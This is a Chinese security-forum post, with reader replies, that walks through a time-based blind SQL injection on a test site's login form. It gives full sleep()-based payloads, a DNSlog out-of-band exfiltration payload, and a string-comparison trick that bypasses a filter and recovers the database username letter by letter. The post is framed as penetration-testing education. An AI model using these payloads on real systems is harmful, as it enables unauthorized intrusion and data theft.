新手078326 发表于 2024-2-29 16:11
  
感谢分享,学习学习!!!
shuyangzjg 发表于 2024-4-8 14:03
  

每天学习一点点,每天进步一点点。
এ塔铃独语别黄昏এ 发表于 2024-5-26 19:29
  
楼主分享的案例很实用,具有典型性
江南岸别离 发表于 2024-6-5 10:31
  
非常好的实践教程,谢谢分享
【大白分享】渗透安全之某登录框注入攻击SQL注入绕过分享
  

山东_朱文鑫 81837人觉得有帮助

{{ttag.title}}
本帖最后由 山东_朱文鑫 于 2023-6-2 00:03 编辑

大家好,我是大白,阻止你前行的,不是人生道路上的一百块石头,而是你鞋子的那一颗石子。依旧感谢各位小伙伴的一路支持与陪伴。

今天延续分享争霸赛的渗透篇章,本次主要是对某测试网站登录框发现存在延时注入,进行的实战案例分享,因为之前的SQL注入分享收到了大家的喜爱,同样还是对于好多小伙伴来说,这个更加偏向于安服,总体来说确实更加偏向于安服但是对于安全知识的了解以及更加层次的学习甚至使用都比较重要,我们可以一同研习一下渗透的“魅力”。


关于SQL注入的原理在我争霸赛第一篇渗透文章的时候已经进行了了理论知识的讲解以及原理上的实战演示对于本次来说我们再做赘述,需要的小伙伴可以移步进行学习翻阅。

【2022争霸赛*干货满满】渗透安全之网站命令注入攻击SQL注入原理实战讲解分享:https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=232697



对于SQL注入攻击我们日常中也有很多的所见所闻,我们在安全感知平台上也屡见不鲜,这些SQL注入相对于不同的资产来说那会是致命的。



日志详情:




详细信息:



*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!


我们进入今天的实战案例:

在某测试网站测试过程中,发现登陆框的用户名处存在延时注入。开启bp软件抓包,随便输入用户名和密码,点击登陆,抓到以下数据包。


经过多次测试,可以判定Uname参数存在sql延时注入

然后我们在后面加上如下参数后发现延迟10s:

  1. 'and(select*from(select+sleep(5))a)and'a'='
复制代码

参数如下:


然后我们在后面加上如下参数后发现延迟6s:

  1. 'and(select*from(select+sleep(3))a)and'a'='
复制代码

参数如下:


根据上面几次的测试可知,sleep(5)时,回显时间为10秒;sleep(3)时,回显时间为6秒,明显存在sql注入,猜测数据库做了两次查询或者查到了两条相同的数据。

再确定存在注入点之后,之后使用Sqlmap来跑数据,发现没办法顺利注入,可能存在拦截或者过滤。所以只能靠自己去测试发现问题。

1.使用如下参数去测试,发现延迟两秒,说明if函数没有被拦截。

  1. 'and(select*from(select+sleep(if(1=1,1,3)))a)and'a'='
复制代码

2.继续使用如下参数去测试,发现延迟六秒,说明user函数没有被拦截。

  1. 'and(select*from(select+sleep(if(user()='a',1,3)))a)and'a'='
复制代码
3.继续使用如下参数去测试,发现没延迟,说明substr被拦截了,接着我使用mid、substring来替换substr函数均被拦截。

  1. 'and(select*from(select+sleep(if(substr(user(),1,1)='a',1,3)))a)and'a'='
复制代码

4.继续使用如下参数去测试,发现没延迟,说明mid、substring、like被拦截了。

  1. 'and(select*from(select+sleep(if(user()+like+'a%25',1,3)))a)and'a'='
复制代码

5.如上这些关键函数都被拦截了,由此判定通过if截断的方法是不可以的,只能如下参数尝试下通过dnslog外带的方式,但是也没有反应。

  1. payload:'and(select*from(select+sleep(load_file(concat('//',(select user()),'.xxx.dnslog.cn/abc'))))a)and'a'='
复制代码

最后经过各种测试,发现通过逐字母比较ascii码的方法能绕过上面所述的代码层的拦截,所以要用如下这种方法绕过,通过比较用户名的第一位的ascii码是不是大于或者等于d的ascii码。

相关参数如下:

  1. 'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'='
复制代码

Ascii码表如下:


在数据库中测试:



依次从左到右比较ascii码【select “rooT”>“ro”来说,因为它们两的前两位相等,会比较到第三位,rooT的第三位为o,而ro的第三位是空,所以rooT当然大于ro。】

所以根据以上原理我们就通过如下参数开始判断用户名的第一个字母:

  1. payload为:'and(select*from(select+sleep(if(user()>'c',3,0)))a)and'a'=' ,
复制代码

延迟为6秒,说明为true,用户名的第一位字母的ascii码对应大于或等于c字母的ascii码,即大于或等于99。


  1. 当payload为:'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'='
复制代码

延迟为6秒,说明也为true,用户名的第一位字母的ascii码对应大于或等于d字母的ascii码,即大于或等于100。


  1. 当payload为:'and(select*from(select+sleep(if(user()>'e',3,0)))a)and'a'='
复制代码

延迟为0秒,说明为false,用户名的第一位字母的ascii码对应小于e字母的ascii码,即小于101


最后根据结果分析:

   根据步骤二,用户名第一位字母的ascii码大于或者等于100;

   根据步骤三,用户名的第一位字母的ascii码小于101,

   最后得出用户名第一位字母的ascii码为100,即字母d.

   依次类推,最后得出用户名为dctok【该测试网站此漏洞已修复,用户名也已变更】


传统的SQL注入的整体流程如下:


*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!

以上就是本次的渗透安全之某登录框注入攻击SQL注入绕过分享,SQL注入只是一个统称,对于注入的方式是有多种,我们在前面也有提到过,无论是在渗透还是网络方面都是需要举一反三进行扩展路径,感谢大佬们的参阅,此贴先到这里后续会带上更加优质的帖子,感谢大家!

励志分享超清壁纸语句~~:


浪费时间是所有支出中最奢侈及最昂贵的。——富兰克林

好的今天就到这里,老样子,感谢各位大神的参阅,孩子为了挣豆子不容易,孩子家里穷没豆子吃饭了!!!

打赏鼓励作者,期待更多好文!

打赏
47人已打赏

发表新帖
热门标签
全部标签>
每日一问
2024年技术争霸赛
干货满满
技术盲盒
技术笔记
产品连连看
GIF动图学习
信服课堂视频
秒懂零信任
新版本体验
标准化排查
2023技术争霸赛专题
通用技术
每周精选
安全攻防
答题自测
自助服务平台操作指引
安装部署配置
功能体验
每日一记
场景专题
在线直播
问题分析处理
运维工具
玩转零信任
技术晨报
文档捉虫活动
技术咨询
畅聊IT
专家问答
技术圆桌
MVP
网络基础知识
升级
上网策略
测试报告
日志审计
流量管理
云计算知识
用户认证
原创分享
解决方案
sangfor周刊
VPN 对接
项目案例
SANGFOR资讯
专家分享
技术顾问
信服故事
SDP百科
功能咨询
终端接入
授权
设备维护
资源访问
地址转换
虚拟机
存储
迁移
加速技术
排障笔记本
产品预警公告
信服圈儿
S豆商城资讯
技术争霸赛
「智能机器人」
追光者计划
深信服技术支持平台
社区帮助指南
答题榜单公布
纪元平台
卧龙计划
华北区拉练
天逸直播
以战代练
山东区技术晨报
齐鲁TV
华北区交付直播
北京区每日一练

本版达人

ggbang

本周建议达人

adds

本周提问达人